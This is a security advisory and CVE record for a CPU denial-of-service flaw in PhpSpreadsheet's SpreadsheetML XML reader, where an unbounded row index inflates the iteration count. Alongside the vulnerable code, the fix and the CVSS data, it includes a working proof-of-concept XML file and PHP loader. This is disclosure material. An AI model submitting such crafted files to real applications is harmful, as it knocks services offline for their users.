PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Prior to 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0, the SpreadsheetML XML reader (Reader\Xml) does not validate the ss:Index row attribute against the maximum allowed row count (AddressRange::MAX_ROW = 1,048,576). An attacker can craft a SpreadsheetML XML file with ss:Index="999999999" on a <Row> element, which inflates the internal cachedHighestRow to ~1 billion. Any subsequent call to getRowIterator() without an explicit end row will attempt to iterate ~1 billion rows, causing CPU exhaustion and denial of service. This vulnerability is fixed in 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0.
PhpSpreadsheet: CPU Denial of Service via Unbounded Row Index in SpreadsheetML XML Reader
Problem type
Affected products
PHPOffice
< 1.30.4 - AFFECTED
>= 2.0.0, < 2.1.16 - AFFECTED
>= 2.2.0, < 2.4.5 - AFFECTED
>= 3.3.0, < 3.10.5 - AFFECTED
>= 4.0.0, < 5.7.0 - AFFECTED
References
GitHub Security Advisories
GHSA-84wq-86v6-x5j6
PhpSpreadsheet has CPU Denial of Service via Unbounded Row Index in SpreadsheetML XML Reader
https://github.com/advisories/GHSA-84wq-86v6-x5j6Summary
The SpreadsheetML XML reader (Reader\Xml) does not validate the ss:Index row attribute against the maximum allowed row count (AddressRange::MAX_ROW = 1,048,576). An attacker can craft a SpreadsheetML XML file with ss:Index="999999999" on a <Row> element, which inflates the internal cachedHighestRow to ~1 billion. Any subsequent call to getRowIterator() without an explicit end row will attempt to iterate ~1 billion rows, causing CPU exhaustion and denial of service.
Details
In src/PhpSpreadsheet/Reader/Xml.php, the loadSpreadsheetFromFile method processes <Row> elements:
// Xml.php:397-402
if (isset($row_ss['Index'])) {
$rowID = (int) $row_ss['Index']; // No validation against MAX_ROW
}
if (isset($row_ss['Hidden'])) {
$rowVisible = ((string) $row_ss['Hidden']) !== '1';
$spreadsheet->getActiveSheet()->getRowDimension($rowID)->setVisible($rowVisible);
}
The $rowID value read from ss:Index is cast to int with no upper bound check. It is then passed to getRowDimension():
// Worksheet.php:1342-1351
public function getRowDimension(int $row): RowDimension
{
if (!isset($this->rowDimensions[$row])) {
$this->rowDimensions[$row] = new RowDimension($row);
$this->cachedHighestRow = max($this->cachedHighestRow, $row);
}
return $this->rowDimensions[$row];
}
This inflates cachedHighestRow to the attacker-controlled value. Additionally, at line 412, $cellRange = $columnID . $rowID is constructed and passed to getCell(), which calls createNewCell() (Worksheet.php:1294) and also sets cachedHighestRow.
The RowIterator constructor uses getHighestRow() as its default end row:
// RowIterator.php:84-88
public function resetEnd(?int $endRow = null): static
{
$this->endRow = $endRow ?: $this->subject->getHighestRow();
return $this;
}
With cachedHighestRow at ~1 billion, iterating over rows causes CPU exhaustion. The DefaultReadFilter provides no protection — it returns true for all cells.
Even without the Hidden attribute, any cell data within the row still uses the inflated $rowID at line 412, so the ss:Hidden attribute is not required to trigger the vulnerability.
PoC
- Create
poc.xml:
<?xml version="1.0"?>
<?mso-application progid="Excel.Sheet"?>
<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"
xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet">
<Worksheet ss:Name="Sheet1">
<Table>
<Row ss:Index="999999999" ss:Hidden="1"/>
<Row><Cell><Data ss:Type="String">test</Data></Cell></Row>
</Table>
</Worksheet>
</Workbook>
- Load and iterate:
<?php
require 'vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\IOFactory;
$reader = IOFactory::createReader('Xml');
$spreadsheet = $reader->load('poc.xml');
$sheet = $spreadsheet->getActiveSheet();
echo "Highest row: " . $sheet->getHighestRow() . "\n";
// Outputs: Highest row: 1000000000
// This loop will attempt ~1 billion iterations → CPU exhaustion
foreach ($sheet->getRowIterator() as $row) {
// Never completes
}
Impact
Any PHP application that processes user-uploaded SpreadsheetML XML files using PhpSpreadsheet is vulnerable. An attacker can cause denial of service by:
- Exhausting server CPU with a single small XML file (~300 bytes)
- Blocking the PHP worker process, potentially affecting all concurrent users
- Triggering PHP max_execution_time limits that still consume resources before killing the process
The attack requires no authentication — only the ability to upload or cause the application to process a crafted SpreadsheetML file.
Recommended Fix
Add MAX_ROW validation after reading the ss:Index attribute in src/PhpSpreadsheet/Reader/Xml.php:
// After line 398:
if (isset($row_ss['Index'])) {
$rowID = (int) $row_ss['Index'];
if ($rowID > AddressRange::MAX_ROW) {
$rowID = AddressRange::MAX_ROW;
}
}
Add the necessary import at the top of the file:
use PhpOffice\PhpSpreadsheet\Cell\AddressRange;
The same validation should also be applied to the ss:Index attribute on <Cell> elements (line 409) for the column dimension.
JSON source
https://cveawg.mitre.org/api/cve/CVE-2026-40863Click to expand
{
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"cveMetadata": {
"cveId": "CVE-2026-40863",
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"dateUpdated": "2026-05-12T22:04:29.510Z",
"dateReserved": "2026-04-15T15:57:41.717Z",
"datePublished": "2026-05-12T22:04:29.510Z",
"state": "PUBLISHED"
},
"containers": {
"cna": {
"providerMetadata": {
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M",
"dateUpdated": "2026-05-12T22:04:29.510Z"
},
"title": "PhpSpreadsheet: CPU Denial of Service via Unbounded Row Index in SpreadsheetML XML Reader",
"descriptions": [
{
"lang": "en",
"value": "PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Prior to 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0, the SpreadsheetML XML reader (Reader\\Xml) does not validate the ss:Index row attribute against the maximum allowed row count (AddressRange::MAX_ROW = 1,048,576). An attacker can craft a SpreadsheetML XML file with ss:Index=\"999999999\" on a <Row> element, which inflates the internal cachedHighestRow to ~1 billion. Any subsequent call to getRowIterator() without an explicit end row will attempt to iterate ~1 billion rows, causing CPU exhaustion and denial of service. This vulnerability is fixed in 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0."
}
],
"affected": [
{
"vendor": "PHPOffice",
"product": "PhpSpreadsheet",
"versions": [
{
"version": "< 1.30.4",
"status": "affected"
},
{
"version": ">= 2.0.0, < 2.1.16",
"status": "affected"
},
{
"version": ">= 2.2.0, < 2.4.5",
"status": "affected"
},
{
"version": ">= 3.3.0, < 3.10.5",
"status": "affected"
},
{
"version": ">= 4.0.0, < 5.7.0",
"status": "affected"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"lang": "en",
"description": "CWE-770: Allocation of Resources Without Limits or Throttling",
"cweId": "CWE-770",
"type": "CWE"
}
]
}
],
"references": [
{
"url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-84wq-86v6-x5j6",
"name": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-84wq-86v6-x5j6",
"tags": [
"x_refsource_CONFIRM"
]
}
],
"metrics": [
{
"cvssV3_1": {
"version": "3.1",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"attackVector": "NETWORK",
"attackComplexity": "LOW",
"privilegesRequired": "NONE",
"userInteraction": "NONE",
"scope": "UNCHANGED",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH"
}
}
]
}
}
}